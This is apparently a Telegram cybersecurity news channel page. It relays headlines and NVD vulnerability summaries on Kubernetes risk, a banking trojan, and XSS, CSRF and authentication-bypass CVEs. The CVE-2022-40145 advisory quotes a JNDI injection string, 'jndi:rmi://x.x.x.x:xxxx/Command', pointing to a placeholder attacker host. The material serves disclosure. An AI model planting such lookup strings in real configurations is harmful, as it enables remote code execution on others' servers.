πŸ›‘ Cybersecurity & Privacy πŸ›‘ - News
25.8K subscribers
89.2K links
πŸ—ž The finest daily news on cybersecurity and privacy.

πŸ”” Daily releases.

πŸ’» Is your online life secure?

πŸ“© lalilolalo.dev@gmail.com
Download Telegram
πŸ•΄ How to Run Kubernetes More Securely πŸ•΄

The open source container tool is quite popular among developers β€” and threat actors. Here are a few ways DevOps teams can take control.

πŸ“– Read

via "Dark Reading".
πŸ•΄ Godfather Banking Trojan Masquerades as Legitimate Google Play App πŸ•΄

The malware has resurfaced, using an icon and name similar to the legitimate Google Play app MYT Music, a popular app with more than 10 million downloads.

πŸ“– Read

via "Dark Reading".
πŸ•΄ Understanding the 3 Classes of Kubernetes Risk πŸ•΄

The first step toward securing Kubernetes environments is understanding the risks they pose and identifying the ways in which those risks can be mitigated.

πŸ“– Read

via "Dark Reading".
πŸ‘1
β€Ό CVE-2022-40145 β€Ό

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

πŸ“– Read

via "National Vulnerability Database".
πŸ‘1
⚠ Microsoft dishes the dirt on Apple’s β€œAchilles heel” shortly after fixing similar Windows bug ⚠

It happens to the best of us: Microsoft highlights a security bypass bug on Macs that is curiously similar to a recent Windows 0-day.

πŸ“– Read

via "Naked Security".
πŸ•΄ Trend Micro Joins Google’s App Defense Alliance πŸ•΄

Trend Micro will be joining Google's App Defense Alliance (ADA) to help improve their ability to identify malicious apps before they are published to the Google Play store.

πŸ“– Read

via "Dark Reading".
⚠ β€œSuspicious login” scammers up their game – take care at Christmas ⚠

A picture is worth 1024 words - we clicked through so you don't have to.

πŸ“– Read

via "Naked Security".
πŸ•΄ Name That Toon: Kiss and Tell πŸ•΄

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

πŸ“– Read

via "Dark Reading".
β€Ό CVE-2022-40841 β€Ό

A cross-site scripting (XSS) vulnerability in NdkAdvancedCustomizationFields v3.5.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payloads injected into the "htmlNodes" parameter.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2022-42454 β€Ό

Insights for Vulnerability Remediation (IVR) is vulnerable to man-in-the-middle attacks that may lead to information disclosure. This requires privileged network access.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2022-4287 β€Ό

Authentication bypass in local application lock feature in Devolutions Remote Desktop Manager 2022.3.26 and earlier on Windows allows malicious user to access the application.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2022-44756 β€Ό

Insights for Vulnerability Remediation (IVR) is vulnerable to improper input validation. This may lead to information disclosure. This requires privileged access.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2022-47581 β€Ό

Isode M-Vault 16.0v0 through 17.x before 17.0v24 can crash upon an LDAP v1 bind request.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2022-4630 β€Ό

Sensitive Cookie Without 'HttpOnly' Flag in GitHub repository lirantal/daloradius prior to master.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2022-38655 β€Ό

BigFix WebUI non-master operators are missing controls that prevent them from being able to modify the relevance of fixlets or to deploy fixlets from the BES Support external site.

πŸ“– Read

via "National Vulnerability Database".
πŸ•΄ Best Practices for Securing and Governing Your Multicloud Deployment πŸ•΄

Organizations can start by integrating functions like detection, prioritization, and remediation on to a single platform.

πŸ“– Read

via "Dark Reading".
β€Ό CVE-2020-36621 β€Ό

A vulnerability, which was classified as problematic, has been found in chedabob whatismyudid. Affected by this issue is the function exports.enrollment of the file routes/mobileconfig.js. The manipulation leads to cross site scripting. The attack may be launched remotely. The name of the patch is bb33d4325fba80e7ea68b79121dba025caf6f45f. It is recommended to apply a patch to fix this issue. VDB-216470 is the identifier assigned to this vulnerability.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2021-4271 β€Ό

A vulnerability was found in panicsteve w2wiki. It has been rated as problematic. Affected by this issue is the function toHTML of the file index.php of the component Markdown Handler. The manipulation leads to cross site scripting. The attack may be launched remotely. The name of the patch is 8f1d0470b4ddb1c7699e3308e765c11ed29542b6. It is recommended to apply a patch to fix this issue. The identifier of this vulnerability is VDB-216476.

πŸ“– Read

via "National Vulnerability Database".
β€Ό CVE-2020-36623 β€Ό

A vulnerability was found in Pengu. It has been declared as problematic. Affected by this vulnerability is the function runApp of the file src/index.js. The manipulation leads to cross-site request forgery. The attack can be launched remotely. The name of the patch is aea66f12b8cdfc3c8c50ad6a9c89d8307e9d0a91. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-216475.

πŸ“– Read

via "National Vulnerability Database".